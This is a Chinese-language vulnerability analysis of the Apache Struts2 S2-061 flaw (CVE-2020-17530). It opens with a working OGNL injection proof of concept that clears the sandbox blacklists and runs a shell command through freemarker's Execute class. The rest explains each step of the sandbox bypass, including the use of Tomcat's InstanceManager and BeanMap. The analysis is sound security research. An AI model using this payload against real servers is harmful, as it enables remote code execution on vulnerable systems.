文章首发于安恒信息安全研究院公众号: Struts2 S2-061漏洞分析(CVE-2020-17530)
在这里实名diss某字节安全公众号,抄文章就算了还不写来源,加个poc就是一篇原创文章了?https://mp.weixin.qq.com/s/skV6BsARvie33vV2R6SZKw
poc %25{(#im=#application['org.apache.tomcat.InstanceManager']).(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).(#vs=#request['struts.valueStack']).(#bm.setBean(#vs)).(#context=#bm.get('context')).(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).(#bm.setBean(#access)).(#empty=#im.newInstance('java.util.HashSet')).(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'echo 20ec645132001fb9238441af9313a9d0'}))}
沙盒绕过poc作者是我们团队的nike大佬,S2-059的时候就已经搞出来这个poc了,nike 永远滴神。
然而现在poc已经被传的大家早已不知道谁是作者了,麻烦大家尊重一下原创,写文章的时候标注一个来源都那么难吗?
S2-061和S2-059的OGNL表达执行触发方式一样,详情可见公众号之前的文章:Struts2 S2-059 漏洞分析。S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,而S2-061再次绕过了S2-059的沙盒。
diff一下沙盒,可以看到把很多中间件的包添加到了黑名单中。
已知的OGNL沙盒限制为:
- 无法new一个对象
- 无法调用黑名单类和包的方法、属性
- 无法使用反射
- 无法调用静态方法
另外,最新的struts2在 ognl.OgnlRuntime#invokeMethod
中ban掉了常用的class,意味着即使绕过了沙盒依然不能直接调用这些类。
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}
再看一下OGNL沙盒未限制的操作为:
- 对象属性
setter/getter(public)
赋/取值,可以访问静态属性。 - 已实例类的方法调用(
OgnlContext
中的对象),不允许调用静态方法
可以看到目前我们只能在 OgnlContext
中寻找可利用的对象。
看一下 #application
中的 org.apache.tomcat.InstanceManager
,他的键值为类 org.apache.catalina.core.DefaultInstanceManager
的实例化对象,该类为tomcat中的类,其他中间件还未分析,有兴趣可以自己找找看。
他有一个 newInstance
方法,className
我们可控,最终可以实例化任意无参构造方法的类并返回。
也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在 public
的无参构造方法。
ognl3.1.15中, OgnlContext
又删掉了 CONTEXT_CONTEEXT_KEY
也就是 context
这个key,禁止使用 #context
对 OgnlContext
进行访问。
而S2-057通过 #attr
、#request
等map对象中的 struts.valueStack
间接获取到了 OgnlContext
,但是补丁把包 com.opensymphony.xwork2.ognl.
加入到了黑名单中,不能调用 OgnlValueStack
的 getContext
方法了,因此这种方法也行不通了。
不过我们可以利用前文的实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到 OgnlContext
。
看一下 org.apache.commons.collections.BeanMap
跟进 this.initialise()
,他会把我传入对象对应class当做bean,提取 get
和 set
方法以及 name
赋值进 readMethods
和 writeMethods
。
看一下其 get
方法,根据我们传入的 name
调用 readMethods
中对应的 getXxx
方法
而
com.opensymphony.xwork2.ognl.OgnlValueStack
中存在 getContext
方法,因此我们可以拿到 OgnlValueStack
后,利用 BeanMap
间接获取到 OgnlContext
。
同理我们可以获取到 com.opensymphony.xwork2.ognl.SecurityMemberAccess
对象
并利用 put
方法调用 setExcludedClasses
和 setExcludedPackageNames
覆盖掉黑名单。
前面提到了最新的 struts2 即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后可以实例化任意黑名单中的类。
看下黑明单包中的类 freemarker.template.utility.Execute
,存在无参构造方法 Execute()
,exec
方法可以直接执行命令。